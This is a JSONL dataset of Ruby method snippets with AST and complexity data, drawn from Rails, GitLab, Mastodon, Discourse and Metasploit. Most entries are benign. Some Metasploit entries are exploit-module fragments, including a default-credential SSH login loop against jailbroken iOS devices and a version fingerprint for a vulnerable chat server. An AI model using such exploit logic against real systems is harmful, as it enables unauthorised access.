{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_spoolss.rb","start_line":12,"raw_source":"def self.create_library(constant_manager, library_path = 'spoolss')\n    dll = Library.new(library_path, constant_manager)\n\n    dll.add_function('DeletePrinter', 'BOOL',[\n      [\"HANDLE\",\"hPrinter\",\"inout\"]\n    ])\n\n    dll.add_function('ClosePrinter', 'BOOL',[\n      [\"HANDLE\",\"hPrinter\",\"in\"]\n    ])\n\n    return dll\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"create_library\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constant_manager\"]},{\"type\":\"optarg\",\"children\":[\"library_path\",{\"type\":\"str\",\"children\":[\"spoolss\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dll\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Library\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"library_path\"]},{\"type\":\"lvar\",\"children\":[\"constant_manager\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"DeletePrinter\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"str\",\"children\":[\"hPrinter\"]},{\"type\":\"str\",\"children\":[\"inout\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]},\"add_function\",{\"type\":\"str\",\"children\":[\"ClosePrinter\"]},{\"type\":\"str\",\"children\":[\"BOOL\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"HANDLE\"]},{\"type\":\"str\",\"children\":[\"hPrinter\"]},{\"type\":\"str\",\"children\":[\"in\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dll\"]}]}]}]}","id":"a5e924b6-e98c-491c-a07f-a753c3a99850"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/services/unallow_domain_service_spec.rb","start_line":57,"raw_source":"def bad_domain_account_exists\n    Account.exists?(domain: bad_domain)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bad_domain_account_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"domain\"]},{\"type\":\"send\",\"children\":[null,\"bad_domain\"]}]}]}]}]}","id":"7c50b51e-9aad-43fd-b530-69b20850e2a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/project_presenter.rb","start_line":479,"raw_source":"def cicd_missing?\n    current_user && can_current_user_push_code? && !project.has_ci? && cicd_enabled?\n  end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cicd_missing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"can_current_user_push_code?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"has_ci?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"cicd_enabled?\"]}]}]}","id":"3fc22ddc-8bad-4183-a900-6b7f956e646f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/internal/base_spec.rb","start_line":24,"raw_source":"def perform_request(headers: gitlab_shell_internal_api_request_header)\n      get api(\"/internal/check\"), headers: headers\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_request\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"send\",\"children\":[null,\"gitlab_shell_internal_api_request_header\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"str\",\"children\":[\"/internal/check\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]}]}]}","id":"9879d6ee-40ad-4dc1-8c69-ae689347f716"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/columns_test.rb","start_line":264,"raw_source":"def test_change_column_with_long_index_name\n        table_name_prefix = \"test_models_\"\n        long_index_name = table_name_prefix + (\"x\" * (connection.index_name_length - table_name_prefix.length))\n        add_column \"test_models\", \"category\", :string\n        add_index :test_models, :category, name: long_index_name\n\n        change_column \"test_models\", \"category\", :string, null: false, default: \"article\"\n\n        assert_equal [long_index_name], connection.indexes(\"test_models\").map(&:name)\n      end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_change_column_with_long_index_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_name_prefix\",{\"type\":\"str\",\"children\":[\"test_models_\"]}]},{\"type\":\"lvasgn\",\"children\":[\"long_index_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name_prefix\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"x\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_name_length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name_prefix\"]},\"length\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"test_models\"]},{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"long_index_name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"change_column\",{\"type\":\"str\",\"children\":[\"test_models\"]},{\"type\":\"str\",\"children\":[\"category\"]},{\"type\":\"sym\",\"children\":[\"string\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"article\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"long_index_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"indexes\",{\"type\":\"str\",\"children\":[\"test_models\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}","id":"ed6e2dfd-434a-447f-a5e2-bfb316be074d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":451,"raw_source":"def test_eager_association_loading_with_belongs_to_and_limit\n    comments = Comment.all.merge!(includes: :post, limit: 5, order: \"comments.id\").to_a\n    assert_equal 5, comments.length\n    assert_equal [1, 2, 3, 5, 6], comments.collect(&:id)\n  end","complexity_score":12.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_eager_association_loading_with_belongs_to_and_limit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comments\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"all\"]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"str\",\"children\":[\"comments.id\"]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[5]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[3]},{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comments\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"9b11c4b0-bacd-4d19-8d1b-2c7ead0644d6"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/ssl_test.rb","start_line":268,"raw_source":"def assert_cookies(*expected)\n      cookies = response.headers[Rack::SET_COOKIE]\n      if Gem::Version.new(Rack::RELEASE) < Gem::Version.new(\"3\")\n        cookies = cookies.split(\"\\n\")\n      end\n      assert_equal expected, cookies\n    end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_cookies\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"expected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"SET_COOKIE\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"RELEASE\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"split\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}","id":"0403e870-a749-4201-b084-e317af43e0c9"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/clickhouse/client.rb","start_line":57,"raw_source":"def create_connection(connection_config)\n        @auth_token = Base64.strict_encode64(\"#{connection_config[:username]}:#{connection_config[:password]}\")\n        Faraday.new(connection_config[:url]) do |faraday|\n          faraday.request :url_encoded\n          faraday.adapter Faraday.default_adapter\n        end\n      end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@auth_token\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"url\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"faraday\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"faraday\"]},\"request\",{\"type\":\"sym\",\"children\":[\"url_encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"faraday\"]},\"adapter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faraday\"]},\"default_adapter\"]}]}]}]}]}]}","id":"a548c7b9-f5c5-4d11-8281-397eed618516"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context_builder.rb","start_line":513,"raw_source":"def append_new_context(klass, *args)\n      klass.new(*args).tap do |new_context|\n        new_context.register_with_parent(current_context)\n      end\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"append_new_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_context\"]},\"register_with_parent\",{\"type\":\"send\",\"children\":[null,\"current_context\"]}]}]}]}","id":"09eaf5e6-76b9-4b12-8378-fd22b41a3ad1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/mail_room.rb","start_line":112,"raw_source":"def redis_config\n        gitlab_redis_queues = Gitlab::Redis::Queues.new(rails_env)\n\n        config = { redis_url: gitlab_redis_queues.url, redis_db: gitlab_redis_queues.db }\n\n        if gitlab_redis_queues.sentinels?\n          config[:sentinels] = gitlab_redis_queues.sentinels\n        end\n\n        config\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"redis_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gitlab_redis_queues\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"Queues\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"rails_env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_redis_queues\"]},\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redis_db\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_redis_queues\"]},\"db\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_redis_queues\"]},\"sentinels?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sentinels\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gitlab_redis_queues\"]},\"sentinels\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}","id":"43dd0c36-873d-4942-b067-e13fcf575f1f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/apple_ios/ssh/cydia_default_ssh.rb","start_line":121,"raw_source":"def exploit\n    target['accounts'].each do |info|\n      user, pass = info\n      print_status(\"#{rhost}:#{rport} - Attempt to login as '#{user}' with password '#{pass}'\")\n      conn = do_login(user, pass)\n      next unless conn\n\n      print_good(\"#{rhost}:#{rport} - Login Successful ('#{user}:#{pass})\")\n      handler(conn.lsock)\n      break\n    end\n  end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"accounts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"info\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\"]},{\"type\":\"lvasgn\",\"children\":[\"pass\"]}]},{\"type\":\"lvar\",\"children\":[\"info\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Attempt to login as '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"' with password '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conn\",{\"type\":\"send\",\"children\":[null,\"do_login\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - Login Successful ('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"lsock\"]}]},{\"type\":\"break\",\"children\":[]}]}]}]}","id":"37d446c7-49fd-4f40-8ef3-3774ebeb7f26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/base_update_service.rb","start_line":37,"raw_source":"def update_preferences(list)\n        return unless preferences?\n\n        list.update_preferences_for(current_user, preferences)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_preferences\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"preferences?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"update_preferences_for\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"preferences\"]}]}]}]}","id":"94502bde-2e05-4878-a865-890f0fcd425a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/rootpipe_entitlements.rb","start_line":142,"raw_source":"def new_app\n    @app ||= \"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}.app\"\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"new_app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\".app\"]}]}]}]}","id":"59eb34fd-c1e1-4bc2-a08c-36debbbeee0f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/efs_easychatserver_username.rb","start_line":90,"raw_source":"def get_version\n    res = send_request_raw 'uri' => '/whatsnew.txt'\n    if res and res.body =~ /What's new in Easy Chat Server V(\\d\\.\\d)/\n      return \"#{$1}\"\n    end\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"get_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/whatsnew.txt\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"What's new in Easy Chat Server V(\\\\d\\\\.\\\\d)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"nth_ref\",\"children\":[1]}]}]}]},null]}]}]}","id":"44851fbd-e1e5-401f-a03a-ca319ff632d6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/nested_attributes_test.rb","start_line":768,"raw_source":"def test_should_not_assign_destroy_key_to_a_record\n    assert_nothing_raised do\n      @pirate.public_send(association_setter, \"foo\" => { \"_destroy\" => \"0\" })\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_should_not_assign_destroy_key_to_a_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"public_send\",{\"type\":\"send\",\"children\":[null,\"association_setter\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"_destroy\"]},{\"type\":\"str\",\"children\":[\"0\"]}]}]}]}]}]}]}]}","id":"6297e154-eae5-43b2-bca1-773450f4a747"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/error_tracking/list_issues_service.rb","start_line":58,"raw_source":"def sort\n      params[:sort] || DEFAULT_SORT\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_SORT\"]}]}]}","id":"64a000d1-80c0-4812-a9d4-c4285ed22c19"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/middleware/default_headers.rb","start_line":12,"raw_source":"def call(env)\n      status, headers, body = @app.call(env)\n      is_html_response = html_response?(headers)\n\n      default_headers =\n        Rails.application.config.action_dispatch.default_headers.to_h.except(*EXCLUDED_HEADERS)\n\n      default_headers.each do |header_name, value|\n        next if !is_html_response && HTML_ONLY_HEADERS.include?(header_name)\n\n        headers[header_name] ||= value\n      end\n\n      headers[\n        \"Cross-Origin-Opener-Policy\"\n      ] = SiteSetting.cross_origin_opener_policy_header if is_html_response &&\n        headers[\"Cross-Origin-Opener-Policy\"].nil?\n\n      [status, headers, body]\n    end","complexity_score":30.6,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_html_response\",{\"type\":\"send\",\"children\":[null,\"html_response?\",{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"default_headers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"application\"]},\"config\"]},\"action_dispatch\"]},\"default_headers\"]},\"to_h\"]},\"except\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EXCLUDED_HEADERS\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_headers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"header_name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_html_response\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTML_ONLY_HEADERS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"header_name\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"header_name\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_html_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]}]},\"nil?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_policy_header\"]}]},null]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"lvar\",\"children\":[\"body\"]}]}]}]}","id":"8418ade5-6b4c-434b-bc5d-f1d3bcc70ad1"}
